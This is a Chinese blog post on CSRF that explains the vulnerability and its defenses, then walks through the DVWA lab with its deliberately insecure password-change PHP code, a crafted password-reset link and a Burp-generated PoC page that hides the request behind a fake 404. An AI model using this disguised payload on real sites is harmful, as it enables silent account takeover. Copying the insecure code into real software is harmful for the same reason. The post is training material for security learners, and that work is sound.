常见漏洞之CSRF

最新推荐文章于 2024-05-21 08:50:02 发布

吃_早餐

最新推荐文章于 2024-05-21 08:50:02 发布

阅读量208

点赞数

分类专栏：常见漏洞文章标签： csrf 安全安全漏洞

本文链接：https://blog.csdn.net/m0_52923241/article/details/115317512

版权

常见漏洞专栏收录该内容

13 篇文章 2 订阅

订阅专栏

CSRF漏洞

漏洞简介

跨站请求伪造：是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并运行一些操作（如发邮件，发消息，甚至财产操作如转账和购买商品）。由于浏览器曾经认证过，所以被访问的网站会认为是真正的用户操作而去运行。这利用了web中用户身份验证的一个漏洞：简单的身份验证只能保证请求发自某个用户的浏览器，却不能保证请求本身是用户自愿发出的。简单来说，就是攻击者盗用一个身份，利用这个身份发送恶意代码。
原理：利用目标用户的合法身份，以目标用户的名义执行某些非法操作
与xss的区别
XSS：跨站脚本攻击；利用站点内的信任用户盗取cookie
CSRF：跨站请求伪造攻击；通过伪装成信任用户请求信任的网站

如何防御

尽量使用POST：重要数据交互采用POST进行接收，当然是用POST也不是万能的，伪造一个form表单即可破解。
使用验证码：只要是涉及到数据交互就先进行验证码验证，这个方法可以完全解决CSRF。但是出于用户体验考虑，网站不能给所有的操作都加上验证码。因此验证码只能作为一种辅助手段，不能作为主要解决方案。
验证HTTP Referer字段：该字段记录了此次HTTP请求的来源地址，最常见的应用是图片防盗链。PHP中可以采用APache URL重写规则进行防御。
为每个表单添加令牌token并验证：要防御csrf，关键在于构造攻击者不能伪造的信息，该信息不存在与cookie中，在HTTP请求中以参数形式加入一个随机产生的token，并建立一个拦截器来验证token
加入自定义的Header：这种方法也是使用 token 并进行验证，和上一种方法不同的是，这里并不是把 token 以参数的形式置于 HTTP 请求之中，而是把它放到 HTTP 头中自定义的属性里。通过 XMLHttpRequest 这个类，可以一次性给所有该类请求加上 csrftoken 这个 HTTP 头属性，并把 token 值放入其中。

DVWA之CSRF

在这里插入图片描述

查看代码


CSRF Source
vulnerabilities/csrf/source/low.php
<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

分析源代码，服务器在收到修改密码的请求后，回判断password_new和password_conf是否相同，若相同，修改成功；否则Passwords did not match.并没有任何防csrf的机制。

构造恶意链接

http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#

点击此连接时，密码就会被修改。这个链接未免太明显了，所以可构造短链接

使用工具构造短链接达到隐藏url的目的；但用户还是会看到自己密码被修改的页面
构造攻击页面：
在公网上传一个攻击页面，当受害者访问时，使受害者误认为自己点击的是一个失效的url，但实际上已经遭受了CSRF攻击，密码已经被修改。

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
	<img src="http://192.168.124.131/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change" style="display:none"/>
	<h1>404</h1>
	<h1>您访问的页面不存在</h1>
  </body>
</html>

吃_早餐

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
打赏
0
评论
常见漏洞之CSRF

漏洞简介跨站请求伪造：是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并运行一些操作（如发邮件，发消息，甚至财产操作如转账和购买商品）。由于浏览器曾经认证过，所以被访问的网站会认为是真正的用户操作而去运行。这利用了web中用户身份验证的一个漏洞：简单的身份验证只能保证请求发自某个用户的浏览器，却不能保证请求本身是用户自愿发出的。简单来说，就是攻击者盗用一个身份，利用这个身份发送恶意代码。这种恶意的网址可以有很多种形式，藏身于网页中的许多地方。此外，攻击者也不需要控制放置恶意网址的
复制链接

扫一扫